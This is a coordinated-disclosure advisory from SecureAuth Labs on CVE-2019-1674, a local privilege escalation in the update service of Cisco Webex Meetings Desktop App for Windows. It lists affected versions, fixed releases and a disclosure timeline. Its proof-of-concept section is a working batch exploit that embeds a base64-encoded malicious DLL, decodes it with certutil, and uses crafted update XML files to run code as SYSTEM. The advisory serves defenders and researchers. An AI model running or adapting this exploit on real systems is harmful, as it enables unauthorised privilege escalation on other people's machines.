SecureAuth - SecureAuth Labs Advisory http://www.secureauth.com/ Cisco WebEx Meetings Elevation of Privilege Vulnerability Version 2 1. *Advisory Information* Title: Cisco WebEx Meetings Elevation of Privilege Vulnerability Version 2 Advisory ID: CORE-2018-0012 Advisory URL: http://www.secureauth.com/labs/advisories/cisco-webex-meetings-elevation-privilege-vulnerability-version-2 Date published: 2019-02-27 Date of last update: 2019-02-27 Vendors contacted: Cisco Release mode: Coordinated release 2. *Vulnerability Information* Class: OS command injection [CWE-78] Impact: Code execution Remotely Exploitable: No Locally Exploitable: Yes CVE Name: CVE-2019-1674 3. *Vulnerability Description* Cisco's Webex Meetings website states that [1]: Cisco Webex Meetings: Simply the Best Video Conferencing and Online Meetings. With Cisco Webex Meetings, joining is a breeze, audio and video are clear, and screen sharing is easier than ever. We help you forget about the technology, to focus on what matters. A vulnerability in the update service of Cisco Webex Meetings Desktop App for Windows could allow a local attacker to elevate privileges. 4. *Vulnerable Packages* . Cisco Webex Meetings Desktop App v33.6.4.15 . Cisco Webex Meetings Desktop App v33.6.5.2 . Cisco Webex Meetings Desktop App v33.7.0.694 . Cisco Webex Meetings Desktop App v33.7.1.15 . Cisco Webex Meetings Desktop App v33.7.2.24 . Cisco Webex Meetings Desktop App v33.7.3.7 . Cisco Webex Meetings Desktop App v33.8.0.779 . Cisco Webex Meetings Desktop App v33.8.1.13 . Cisco Webex Meetings Desktop App v33.8.2.7 . Older versions are probably affected too, but they were not checked. 5. *Vendor Information, Solutions and Workarounds* Cisco informed that released the vulnerability is fixed in Cisco Webex Meetings Desktop App releases 33.6.6 and 33.9.1. In addition, Cisco published the following advisory: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-wmda-cmdinj 6. *Credits* This vulnerability was discovered and researched by Marcos Accossatto from SecureAuth. The publication of this advisory was coordinated by Leandro Cuozzo from SecureAuth Advisories Team. 7. *Technical Description / Proof of Concept Code* 7.1. *Privilege Escalation* [CVE-2019-1674] The update service of Cisco Webex Meetings Desktop App for Windows does not properly validate version numbers of new files. An unprivileged local attacker could exploit this vulnerability by invoking the update service command with a crafted argument and folder. This will allow the attacker to run arbitrary commands with SYSTEM user privileges. The vulnerability can be exploited by copying to a local attacker controller folder, the atgpcdec.dll binary and rename it as atgpcdec.7z. Then, a previous version of the ptUpdate.exe file must be compressed as 7z and copied to the controller folder. Also, a malicious dll must be placed in the same folder, named vcruntime140.dll and compressed as vcruntime140.7z. Finally, a ptUpdate.xml file must be provided in the controller folder for the update binary (ptUpdate.exe) to treat our files as a normal update. To gain privileges, the attacker must start the service with the command line: sc start webexservice WebexService 1 989898 "attacker-controlled-path" Proof of Concept: The following proof of concept performs a 2 step attack, since starting from version 33.8.X, the application enforces the checking of signatures for all the downloaded binaries. This 2 step attack works against all the mentioned vulnerable packages. Notice that you'll need the previous versions of the ptUpdate.exe executable. Those versions are: 3307.1.1811.1500 for the first step and 3306.4.1811.1600 for the last step. To exploit version priot to 33.8.X, only one step is required (the last step in this PoC). Batch file: /----- @echo off REM Contents of PoC.bat REM REM This batch file will exploit CVE-2019-1674 REM REM First, it will copy the atgpcdec.dll file from the installation REM folder to the current folder as atgpcdec.7z. Then, it will backup REM ptUpdate.exe and vcruntime140.dll files from the installation folder REM in the current folder, adding .bak to their names. Keep in mind that REM those files will be replaced (especially, vcruntime140.dll) and if REM not restored, will render the application useless. REM REM The executable ptUpdate.exe version 3307.1.1811.1500 must be REM compressed as ptUpdate0.7z and present in the current folder. REM The executable ptUpdate.exe version 3306.4.1811.1600 must be REM compressed as ptUpdate1.7z and present in the current folder. REM Both can be generated using 7zip GUI and compressing as 7z, with REM normal compression level and LZMA compression method. REM Another way is to compress both files using the command line app: REM REM 7z.exe a ptUpdate0.7z ptUpdate.exe -m0=BCJ -m1=LZMA:d=21 REM REM ptUpdate0.xml file will be used in the first stage of the attack. It REM will be renamed to ptUpdate.xml. Make sure to check and adjust (if REM necessary) the "Size" and "PackagedSize" values of the xml, to the REM ptUpdate0.7z ones. ptUpdate0.7z will be renamed to ptUpdate.7z. Then REM the update service will be started. REM REM The batch will wait until the process (ptUpdate.exe) finishes REM REM After the first stage is completeted, it will rename ptUpdate.7z REM back to ptUpdate0.7z, and ptUpdate.xml to ptUpdate0.xml. REM REM Now, ptUpdate1.xml file will be used in the second stage of the REM attack. It will be renamed to ptUpdate.xml. Also, ptUpdate1.7z will REM be renamed to ptUpdate.7z. Remember to check and adjust (if REM necessary) the "Size" and "PackagedSize" values of the xml, to the REM ptUpdate1.7z ones. Out "malicious" DLL will be generated using REM certutil.exe and named vcruntime140.7z. It's a simple dll that will REM execute notepad.exe on load and that has the same exported functions REM as the original. The update service will be started again. REM REM The batch will wait until the process (ptUpdate.exe) finishes REM REM Once finished, it will print that the attack is done and wait for a REM key press. You should see a notepad.exe (2, in fact) with SYSTEM REM user privileges running. REM REM After a key is pressed, the batch will finish removing atgpcdec.7z REM and vcruntime140.7z. Also it will rename ptUpdate.7z back to REM ptUpdate1.7z, and ptUpdate.xml to ptUpdate1.xml. :CheckOS IF EXIST "%PROGRAMFILES(X86)%" (GOTO 64BIT) ELSE (GOTO 32BIT) :64BIT copy "%PROGRAMFILES(X86)%\Webex\Webex\Applications\atgpcdec.dll" atgpcdec.7z copy "%PROGRAMFILES(X86)%\Webex\Webex\Applications\ptUpdate.exe" ptUpdate.exe.bak copy "%PROGRAMFILES(X86)%\Webex\Webex\Applications\vcruntime140.dll" vcruntime140.dll.bak GOTO END :32BIT copy "%PROGRAMFILES%\Webex\Webex\Applications\atgpcdec.dll" atgpcdec.7z copy "%PROGRAMFILES%\Webex\Webex\Applications\ptUpdate.exe" ptUpdate.exe.bak copy "%PROGRAMFILES%\Webex\Webex\Applications\vcruntime140.dll" vcruntime140.dll.bak GOTO END :END ren ptUpdate0.xml ptUpdate.xml ren ptUpdate0.7z ptUpdate.7z SET mypath=%~dp0 sc start webexservice WebexService 1 989898 %mypath:~0,-1% ECHO Waiting 3 seconds until ptUpdate.exe starts Timeout /T 3 /Nobreak :LOOP1 tasklist | find /i "ptUpdate" >nul 2>&1 IF ERRORLEVEL 1 ( GOTO CONTINUE1 ) ELSE ( ECHO ptUpdate.exe is still running Timeout /T 1 /Nobreak GOTO LOOP1 ) :CONTINUE1 ren ptUpdate.xml ptUpdate0.xml ren ptUpdate.7z ptUpdate0.7z ren ptUpdate1.xml ptUpdate.xml ren ptUpdate1.7z ptUpdate.7z echo N3q8ryccAARIz/fVRwYAAAAAAAB6AAAAAAAAANcfWYEAJpaOcAAX9+wFu+r0/5QBL0TuTr0Jkm3dgTnz3Weoe6NfFfEa/Y28zsBB2HEdPWzlugty+IIM4hglhy/h80OeyYw5CMe7jUK77wLPQMC9wwpT+oLYVDSuOK/v2WNuOLCpU3qtGSO+2sIFpGixpKQvLykpGOZUMczuRNNr/8Ps1lApsqe0ERm7gPGyiMqJBOCOVTC85lKIa2Cmc > dll.txt echo scrjgqKPPNmbXvscJWxmvv4NtC3mLQ1KuXYBSZXmFp8dR+ZDy5znkGG/C3w0T76c4wRCfOk+/myji9luDzO2OOwp8wgpN1QeGsA4+kaZwKYTisIvPegsI2joDsLAomIh2ToXENtcOA9/11kkJy4ColEdqlXxwSW2u45ajuNDs0aAE9nbz4AWXtv/VPfc4fn3Q+mN7FTmaDUr8dxZ5V05IafOO2qTgdSHPemTasMSqYLbzA8iaxBZimokw >> dll.txt echo zyzr3fwZIci+Ewzq5BnNXk+lvA30xCUYdvQuMCGkxBozk9Ec0kQ/SUixz77Nc9SbJnm0Hncff3QRRlU9ciqc6cYkQ2Cm+/dWkyDgJU+sxT9VGV+WVwNK85Q6zpPWLeVRYtk9UkxKHF0aXf3l/OgfQqtz0WSR94AF+Z9AiblDy0zOreSW8PhFbu0hfAgY1pMNC5gPNJiJ3OGwT/cLEhBPusvpfcLP3V0BwXx04T+5R7d5Rw9xWExdfCzGb >> dll.txt echo Mgyijdf5nP7fv9e5V0KO8kKrGVofstVIN8FTQSMeRGYRdv9WyuLRFWbArCL86HMo5NYEwFinlqCGqnY8hZcDMPe89q1xoNlVDmDtLC+AZqEkPKuqStllzKH7qQDg7Ahe6AMtGjaT2NptL2bSBYlkfn+1iiMt5cC/inZAoZoreSpDbGb4HRcOVce7ZKeiBAFpEzM0bEXAxnbLNO0pHm0bYCftbOkffJap3m79V+Dj4t0NPgwbhYKUqk1Hi >> dll.txt echo /9ebVE+IIsUlFFggilCy7BmIh3MF3Gmuhr7QLK37zV72LA0/tuDXXTWP/0EJEQ3F/v1+hSj/+HMwUBFL8xsghBfOXTpmBG6cUxK2YOwXvs/ntja2a7SWwppxtWgr4n/pxEdeezoBGl1sTZ9aIwSlu1mMehS5RYoyiSKnQfgLMsIYLqjZtc2DjUdSZDutZgC91axMjIEQ8kDIBp8dbuX4MpzNYe65OrKG/u76aemvcQ/R1QAwgTopuWgqO >> dll.txt echo tJ7LIkRv406u+Qs2d5KA9+IplFV7ZL9w1zXTDTFqATROK0IKtY2MPaP5Ia0d0UFizj0I7OZSeDtZXPohMxi01xMLyqCXIQ4vaJGVneNi1SyxAJ2hV92+5sxBCOlQ+d4w19k6iJA/siz1+V0FnIrN6csCMaW6yBnR6H+jHpm2sqXf3xyU8UkCRx09LmD1lcSB3sWdc3AnoG2ijb7lD6eBdCH2OlMWceeAfOMRm48MfYW6+AcZJm9wEQ9p8 >> dll.txt echo irxwCQuETvGMphqzbPxFJXErhoMTxlE57+/ZLBt8F/3XAaxQnmMucvSCFMYc6Z76OCbeotPfVnPhqL+torsEaph6DFzcw3dWuFrekbLnVVFKmM/QyeZVLS18u5lY1tGRyfAUCyhPIPJvUcXFKuDYHmdT/bOnF1B/xexvtY8boRhcKiNg4JBluTMbamdoktvfWvIVGUz2m50yA0dNN06yebHietxA+IwM0zfNbqpNWJjOItsi6/27j1mE7 >> dll.txt echo WCgPS5tetN44WkYD28Bm+LmHwz4lbPVjAIcgZBv0OtAXJsWMUtN8Bc2z9+fVSqc7pCHGCRnYDyKm8QhcV8hU4I/M4hSN+BWYn2jGJqc42lcaMzfXrySCnF4dAtIiE1HzAwmwWAqjlVkZdFiIuQ1m+pdbx2Ipji5piYRAJtykwO0H5JThzAzJGObOMCAenaKgvgtwF97iFdBZHxuSz+3DcYF6gQupm/BxNd35l6qj19sN2qixeGJ7rQapV >> dll.txt echo DJLTM5KMPdSItBNJSLLp9fuObcufi/6MBif28vemivzaWtalocJxX/MJni8PfdLYn/rLJQXmpq4Qm7z6N7FlPLtelATkMAZZ2ofaLFeBvIKzymBqtsxQAb63b+MowQvOkGAesT5JNXhoRqzOoATB9I/O7xIZu30SZwWdW85DX2MNAeB/DgzLt/c7U9A2D5vIgAEEBgABCYZHAAcLAQACIwMBAQVdABgAAAQDAwEDAQAMmACYAAAICgGcR >> dll.txt echo dWGAAAFARkLAAAAAAAAAAAAAAARIwB2AGMAcgB1AG4AdABpAG0AZQAxADQAMAAuAGQAbABsAAAAGQAUCgEAkBJyInaL1AEVBgEAIAAAAAAA >> dll.txt certutil -decode dll.txt vcruntime140.7z del dll.txt SET mypath=%~dp0 sc start webexservice WebexService 1 989898 %mypath:~0,-1% ECHO Waiting 3 seconds until ptUpdate.exe starts Timeout /T 3 /Nobreak :LOOP2 tasklist | find /i "ptUpdate" >nul 2>&1 IF ERRORLEVEL 1 ( GOTO CONTINUE2 ) ELSE ( ECHO ptUpdate.exe is still running Timeout /T 1 /Nobreak GOTO LOOP2 ) :CONTINUE2 ECHO Attack done! pause ren ptUpdate.xml ptUpdate1.xml ren ptUpdate.7z ptUpdate1.7z del atgpcdec.7z del vcruntime140.7z -----/ ptUpdate0.xml file: /----- <?xml version="1.0"?> <serv:message xmlns:serv="http://www.webex.com/schemas/2002/06/service"; xmlns:com="http://www.webex.com/schemas/2002/06/common"; xmlns:use="http://www.webex.com/schemas/2002/06/service/user";> <serv:header></serv:header> <serv:body> <serv:bodyContent xsi:type="use:getUpdateResponse" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance";> <UpdateVersionNumber>33.8.3</UpdateVersionNumber> <BuildNumber>33.8.3-24</BuildNumber> <ExternalVersionNumber>33.8.3.24</ExternalVersionNumber> <GPCINI>self/gpc.php</GPCINI> <ReleaseDate>February 2017</ReleaseDate> <Description>WebEx Productivity Tools 33.8.3</Description> <MsiLocation>msi/ptools.msi</MsiLocation> <UpdateFormat>binary</UpdateFormat> <ReleaseTrain>T32</ReleaseTrain> <Location>$dummy/upgradeserver/client/ptool/33.8.3</Location> <ControlOption>0</ControlOption> <WBSVERSION>33</WBSVERSION> <Server>myCompany.webex.com</Server> <UserName>MCKSysAR@xxxxxxxxxxxxx</UserName> <DownloadSize>22496333</DownloadSize> <VersionURL/> <FileInfo> <SectionName>Installation</SectionName> <PackedName>ptupdate.7z</PackedName> <PackedNameL10N>ptupdate.7z</PackedNameL10N> <OrigianlName>ptupdate.exe</OrigianlName> <Version>3307,1,1811,1500</Version> <Size>1985592</Size> <PackagedSize>610752</PackagedSize> <CheckMethod>1</CheckMethod> <CouldIgnore>1</CouldIgnore> <NeedDownLoad>1</NeedDownLoad> </FileInfo> <Tools> <UseEmailType/> <Outlook>0</Outlook> <Notes>0</Notes> <UseWebExWithOffice>1</UseWebExWithOffice> <Excel>0</Excel> <PowerPoint>0</PowerPoint> <Word>0</Word> <IEShortCut>1</IEShortCut> <IERightMenu>0</IERightMenu> <UseWebExWithIM>1</UseWebExWithIM> <AOL>0</AOL> <Sametime>0</Sametime> <WindowsMessenger>0</WindowsMessenger> <Yahoo>0</Yahoo> <Skype>0</Skype> <GoogleTalk>0</GoogleTalk> <Firefox/> <IPPhone>1</IPPhone> </Tools> </serv:bodyContent> </serv:body> </serv:message> -----/ ptUpdate1.xml file: /----- <?xml version="1.0"?> <serv:message xmlns:serv="http://www.webex.com/schemas/2002/06/service"; xmlns:com="http://www.webex.com/schemas/2002/06/common"; xmlns:use="http://www.webex.com/schemas/2002/06/service/user";> <serv:header> </serv:header> <serv:body> <serv:bodyContent xsi:type="use:getUpdateResponse" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance";> <UpdateVersionNumber>33.8.4</UpdateVersionNumber> <BuildNumber>33.8.4-24</BuildNumber> <ExternalVersionNumber>33.8.4.24</ExternalVersionNumber> <GPCINI>self/gpc.php</GPCINI> <ReleaseDate>February 2017</ReleaseDate> <Description>WebEx Productivity Tools 33.8.4</Description> <MsiLocation>msi/ptools.msi</MsiLocation> <UpdateFormat>binary</UpdateFormat> <ReleaseTrain>T32</ReleaseTrain> <Location>$dummy/upgradeserver/client/ptool/33.8.4</Location> <ControlOption>0</ControlOption> <WBSVERSION>33</WBSVERSION> <Server>myCompany.webex.com</Server> <UserName>MCKSysAR@xxxxxxxxxxxxx</UserName> <DownloadSize>22496333</DownloadSize> <VersionURL/> <FileInfo> <SectionName>Common</SectionName> <PackedName>vcruntime140.7z</PackedName> <PackedNameL10N>vcruntime140.7z</PackedNameL10N> <OrigianlName>vcruntime140.dll</OrigianlName> <Version>14,14,26405,0</Version> <Size>6144</Size> <PackagedSize>1761</PackagedSize> <CheckMethod>1</CheckMethod> <CouldIgnore>1</CouldIgnore> <NeedDownLoad>1</NeedDownLoad> </FileInfo> <FileInfo> <SectionName>Installation</SectionName> <PackedName>ptupdate.7z</PackedName> <PackedNameL10N>ptupdate.7z</PackedNameL10N> <OrigianlName>ptupdate.exe</OrigianlName> <Version>3306,4,1811,1600</Version> <Size>1992760</Size> <PackagedSize>611786</PackagedSize> <CheckMethod>1</CheckMethod> <CouldIgnore>1</CouldIgnore> <NeedDownLoad>1</NeedDownLoad> </FileInfo> <Tools> <UseEmailType/> <Outlook>0</Outlook> <Notes>0</Notes> <UseWebExWithOffice>1</UseWebExWithOffice> <Excel>0</Excel> <PowerPoint>0</PowerPoint> <Word>0</Word> <IEShortCut>1</IEShortCut> <IERightMenu>0</IERightMenu> <UseWebExWithIM>1</UseWebExWithIM> <AOL>0</AOL> <Sametime>0</Sametime> <WindowsMessenger>0</WindowsMessenger> <Yahoo>0</Yahoo> <Skype>0</Skype> <GoogleTalk>0</GoogleTalk> <Firefox/> <IPPhone>1</IPPhone> </Tools> </serv:bodyContent> </serv:body> </serv:message> -----/ 8. *Report Timeline* 2018-12-04: SecureAuth sent an initial notification to the Cisco PSIRT including a draft advisory. 2018-12-05: Cisco confirmed the reception of the advisory and informed they will open a case. 2018-12-07: Cisco replied that they were able to reproduce the vulnerability and they were working on a plan for the fix. 2018-12-07: SecureAuth thanked the update. 2018-12-10: Cisco notified SecureAuth that the general availability of the fix will be before end of February. 2018-12-10: SecureAuth thanked the update. 2019-01-15: SecureAuth asked Cisco for an update. 2019-01-22: SecureAuth asked Cisco for an update again. 2019-01-22: Cisco answered saying they were still targeting the end of February for the release of the fix. 2019-02-11: Cisco confirmed 27th February as the disclosure date. 2019-02-27: Advisory CORE-2018-0012 published. 9. *References* [1] https://www.webex.com/products/video-conferencing.html 10. *About SecureAuth Labs* SecureAuth Labs, the research arm of SecureAuth Corporation, is charged with anticipating the future needs and requirements for information security technologies. We conduct research in several important areas of computer security, including identity-related attacks, system vulnerabilities and cyber-attack planning. Research includes problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. We regularly publish security advisories, primary research, technical publications, research blogs, project information, and shared software tools for public use at http://www.secureauth.com. 11. *About SecureAuth* SecureAuth is leveraged by leading companies, their employees, their customers and their partners to eliminate identity-related breaches. As a leader in access management, SecureAuth is powering an identity security revolution by enabling people and devices to intelligently and adaptively access systems and data, while effectively keeping bad actors from doing harm. By ensuring the continuous assessment of risk and enablement of trust, SecureAuth's highly flexible platform makes it easier for organizations to prevent the misuse of credentials. To learn more, visit www.secureauth.com, call (949) 777-6959, or email us at info@xxxxxxxxxxxxxx 12. *Disclaimer* The contents of this advisory are copyright (c) 2019 SecureAuth, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
